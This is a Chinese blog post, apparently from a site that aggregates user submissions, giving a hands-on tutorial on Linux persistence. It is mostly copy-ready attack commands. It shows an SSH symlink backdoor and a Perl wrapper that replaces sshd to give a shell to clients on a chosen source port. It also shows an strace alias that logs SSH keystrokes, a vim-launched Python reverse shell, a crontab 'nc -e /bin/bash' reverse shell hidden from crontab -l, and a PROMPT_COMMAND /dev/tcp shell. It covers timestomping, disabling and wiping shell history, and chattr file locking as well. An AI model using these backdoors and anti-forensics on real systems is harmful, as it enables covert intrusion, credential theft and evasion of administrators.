Linux权限维持

news2025/2/12 11:09:47

SSH后门&VIM后门

ssh后门:

创建一个软链接:

ln -sf /usr/sbin/sshd /tmp/su

拓展:软链接相当于一个快捷键,硬链接相当于一个指针指向文件地址,也类似于复制

开启后门:

/tmp/su -oport=12345

开启后我们查看下

可以看到第一行中执行命令为/tmp/su,也是很难察觉的,这里我们可以将端口设置复杂点

密码随便输,可以输入"exit"

ssh root@192.168.222.128 -p 12345

注意:可以将端口设置不这么明显

ssh server wrapper后门:

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart        //老版命令
systemctl restart sshd        //新版命令

客户端:

socat STDIO TCP4:target_ip:22,sourceport=13377

#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

使用ssh免密登录

将公钥放到目标上,公钥相当于一个木马,谁用就控制谁

修改时间:

touch -r  file1  file2    //file2时间改变与file1时间相同

ssh keylogger(键盘记录器)

使用alias创建一个别名,每当执行ssh的时候,就会执行下面的内容:

alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

strace常用来跟踪进程执行时的系统调用和所接收的信号。-o输出到/tmp/.ssh.log中,输出内容为read,write,connect,执行完内容后在执行ssh,避免被管理员发现

不过这里有个很郁闷的事情,就是好像这个alias只能用于这一次,当我换个连接主机的时候这个alias就没有了

隐身登录

当我们正常登录的时候都是会有记录的,我们可以使用last、who、w等命令查看

ssh -T hjw123@192.168.222.128 /bin/bash -i

vim + python扩展后门

查看是否支持python扩展

vim
:version

创建一个python的连接脚本shell.py

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.222.128", 16666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/bash", "-i"]);

后台运行脚本:

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

nohup后台运行脚本命令,当关闭webshell的时候程序不会停止

还可以借助下面的文章进行程序隐藏以及应急响应中的排查

LINUX留后门--教程(八)—— vim+python文件后门 - 掘金

Alias后门和Crontab后门

Alias后门

通过alias来指定执行执行命令的时候静默运行其他程序,从而达到启动后门,记录键值等作用

Crontab后门

知识点:

1、服务启动

systemctl start crond

2、编辑计划任务

crontab -e -u 用户名

3、删除计划任务

crontab -r -u 用户名

4、相关文件

/var/spool/cron/用户名    #用户定义的设置
/var/log/cron            #cron服务的日志文件
/etc/crontab            #cron服务配置文件

实操:

添加计划任务

(crontab -l;echo "命令;/bin/bash --noprofile -i;\rno crontab for 用户名 %100c\n")|crontab -

(crontab -l;echo "*/1 * * * * nc -e /bin/bash 192.168.222.132 12345;/bin/bash --noprofile -i;\rno crontab for root %100c\n")|crontab -

crontab -l :查看计划任务

echo : 写入进去

/bin/bash --noprofile -i;\rno crontab for 用户名 %100c\n" :用于隐藏用户,当我们使用crontab -l无法查看

crontab - :通过管道符将前面的内容输入到crontab中

我们可以通过下面的命令进行查看

cat -A /var/spool/cron/crontabs/root

我们在控制端进行监听

由于这是一个这个终端啥也没有很郁闷,我们使用python中的pty模块

python3 -c "import pty;pty.spawn('/bin/bash')"

 然后可能出现下面的情况

我们添加环境变量就可以解决

这里的export是添加临时变量,不会对全局造成影响

参考文章:

Linux crontab 命令 | 菜鸟教程

linux-隐藏你的crontab后门-腾讯云开发者社区-腾讯云

Other

简单的文件隐藏:

touch .hjw.py

隐藏权限:

chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来(管理员提示也会说权限不足)

chattr +i 1.txt
chattr -i 1.txt

隐藏历史记录:

:拿到shell以后,开启无痕模式,禁用历史记录功能

set +o history

恢复:

set -o history

删除历史命令:

删除100行以后的操作命令

sed -i '100,$d' .bash_history

PROMPT_COMMAND后门:

PROMPT_COMMAD是每执行完一个命令后就会执行,我们可以添加环境变量中这样就会每执行一条命令后都会去连接

export PROMPT_COMMAND="(0<&196;exec 196<>/dev/tcp/192.168.222.128/12345; sh <&196 >&196 2>&196 &) 2> /dev/null ;"

这里报错还不会出现在控制台上,也是比较不错的

/r后门:

我们通过cat查看不到里面的内容,通过vim才能看到

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639896.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python另存为:如何保存你的程序代码

Python另存为&#xff1a;如何保存你的程序代码 简介 Python是一种高级编程语言&#xff0c;最初由Guido van Rossum于1991年创建。自创建以来&#xff0c;Python已被广泛应用于Web开发、数据分析、人工智能等领域。作为一名有10年Python编程经验的工程师&#xff0c;我发现在…

万物的算法日记|第一天

笔者自述&#xff1a; 一直有一个声音也一直能听到身边的大佬经常说&#xff0c;要把算法学习搞好&#xff0c;一定要重视平时的算法学习&#xff0c;虽然每天也在学算法&#xff0c;但是感觉自己一直在假装努力表面功夫骗了自己&#xff0c;没有规划好自己的算法学习和总结&am…

内部服务器端口映射实验:打通内外网络,实现公网访问内部服务

内部服务器端口映射实验&#xff1a;打通内外网络&#xff0c;实现公网访问内部服务 【实验目的】 部署服务器地址转换。熟悉服务器地址转换的应用方法。验证配置。 【实验拓扑】 实验拓扑如图所示。 实验拓扑 设备参数如表所示。 设备参数表 设备 接口 IP地址 子网掩…

BOM,什么是BOM?

4.BOM 4.1 什么是BOM? BOM&#xff08;Browser Object Model&#xff09;即浏览器对象模型&#xff0c;它提供了独立于内容而与浏览器窗口进行交互的对象&#xff0c;其核心对象是 window。 ​ BOM 由一系列相关的对象构成&#xff0c;并且每个对象都提供了很多方法与属性。 …

react---todoList案例

todoList案例效果图 1.组件拆分 2.操作state数据 state 放在哪个组件&#xff1a; 如果某个组件组件使用: 放在其自身的state中。如果某些组件使用&#xff1a;放在他们共同的父组件state中&#xff08;官方称此操作为状态提升&#xff09; 状态&#xff08;state&#xff09;在…

Cocos creator实现飞机大战空中大战《战击长空》小游戏资源及代码

Cocos creator实现飞机大战空中大战《战击长空》小游戏资源及代码 最近在学习Cocos Creator&#xff0c;作为新手&#xff0c;刚刚开始学习Cocos Creator&#xff0c;刚刚入门&#xff0c;这里记录一下飞机大战小游戏实现。 https://wxaurl.cn/VEgRy2eTMyi 一 安装CocosDashBo…

Netty实战(十四)

WebSocket协议&#xff08;二&#xff09; 一、初始化 ChannelPipeline二、引导三、加密 一、初始化 ChannelPipeline 我们之前说过为了将 ChannelHandler 安装到 ChannelPipeline 中&#xff0c;需要扩展了ChannelInitializer&#xff0c;并实现 initChannel()方法。 下面我…

Nacos架构与原理 - 注册中心的设计原理

文章目录 Pre服务的分级模型 &#xff08;服务-集群-实例三层模型&#xff09;数据⼀致性负载均衡服务端侧负载均衡客户端侧负载均衡 健康检查性能与容量易用性集群扩展性用户扩展性 Pre 目前的网络架构是每个主机都有⼀个独立的 IP 地址&#xff0c;那么服务发现基本上都是通…

行为型设计模式07-命令模式

&#x1f9d1;‍&#x1f4bb;作者&#xff1a;猫十二懿 ❤️‍&#x1f525;账号&#xff1a;CSDN 、掘金 、个人博客 、Github &#x1f389;公众号&#xff1a;猫十二懿 命令模式 1、命令模式介绍 命令模式&#xff08;Command&#xff09;&#xff0c;将一个请求封装为一…

【Linux后端服务器开发】常用开发工具

目录 一、apt / yum 二、gcc / g 三、make / makefile 四、vi / vim 五、gdb 一、apt / yum apt 和 yum 都是在Linux环境下的软件包管理器&#xff0c;负责软件的查找、安装、更新与卸载。 apt 是Ubuntu系统的包管理器&#xff0c;yum是Centos系统的包管理器&#xff0c…

SQL回顾总结,超级全

SELECT&#xff1a;语句用于从数据库中选取数据 从 "Websites" 表中选取 "name" 和 "country" 列 SELECT name,country FROM Websites 从 "Websites" 表中选取所有列 SELECT * FROM Websites; SELECT DISTINCT&#xff1a;用于返…

Android系统视角下对APK的分析(2)- APK安装过程的定性分析

声明 以Android手机用户角度来看&#xff0c;安装各式各样的APP&#xff0c;基本就是从应用市场上 “搜索->下载->安装” 三连。而对Android系统来说&#xff0c;这就是个大工程了&#xff0c;因为对Android系统来说APK是“外来户”&#xff0c;如何安装它、有限制地支持…

linux实验三 vi编辑器及用户管理

1、vi编辑器的详细使用 &#xff08;1&#xff09;在用户主目录下建一个名为vi的目录。 &#xff08;2&#xff09;进入vi目录。 &#xff08;3&#xff09;将文件/etc/man_db.conf复制到当前目录下&#xff0c;并用命令sudo修改man_db.conf的属性为所有用户可以读写。 &am…

.net版本下载

1先登录微软 Microsoft - 云、计算机、应用和游戏 下载 .NET Framework | 免费官方下载

【Oauth2请求不带client_id,获取方法】

文章目录 前言一、关键&#xff1a;请求头 Basic xxx:xxx二、源码分析BasicAuthenticationFilter 类extractAndDecodeHeader 方法authenticate方法loadUserByUsername 方法 总结 前言 这段时间在学习 oauth2, 发现我组用的框架&#xff0c;登录请求参数中并没有 client_id &a…

JVM 面试必会面试题

1. 说一说JVM的主要组成部分 点击放大看&#xff0c;一图胜千文 jvm 方法区和堆是所有线程共享的内存区域&#xff1b;而虚拟机栈、本地方法栈和程序计数器的运行是线程私有的内存区域&#xff0c;运行时数据区域就是我们常说的JVM的内存。类加载子系统&#xff1a;根据给定的…

Altium Designer二次开发

Altium Designer二次开发就在该软件原有的基础上&#xff0c;自己写代码给它添加新功能&#xff0c;如&#xff1a;一键生成Gerber&#xff0c;计算铺铜面积&#xff0c;PCB走线的寄生参数和延时等等。 Altium Designer二次开发有两种方式&#xff0c;一种是基于Altium Designe…

Hadoop集群部署和启动与关闭

Hadoop集群的部署方式分为三种&#xff0c;分别是独立模式&#xff08;Standalone mode&#xff09;、伪分布式模式&#xff08;Pseudo-Distributed mode&#xff09;和完全分布式模式&#xff08;Cluster mode&#xff09;&#xff0c;独立模式和伪分布式模式主要用于学习和调…

Day974.授权码和访问令牌的颁发流程 -OAuth 2.0

授权码和访问令牌的颁发流程 Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于授权码和访问令牌的颁发流程的内容。 授权服务就是负责颁发访问令牌的服务。更进一步地讲&#xff0c;OAuth 2.0 的核心是授权服务&#xff0c;而授权服务的核心就是令牌。 为什么这么说…

被冻结的层在训练过程中参与正向反向传递,只是这一层的梯度不再更新。||底层逻辑

被冻结的层可以前向传播,也可以反向传播,只是自己这一层的参数不更新,其他未冻结层的参数正常更新。 在微调期间&#xff0c;只有被激活的层的梯度会被计算和更新&#xff0c;而被冻结的层的梯度则会保持不变。 其实从数学上去理解也不难&#xff0c;但自己手推还是需要花点时…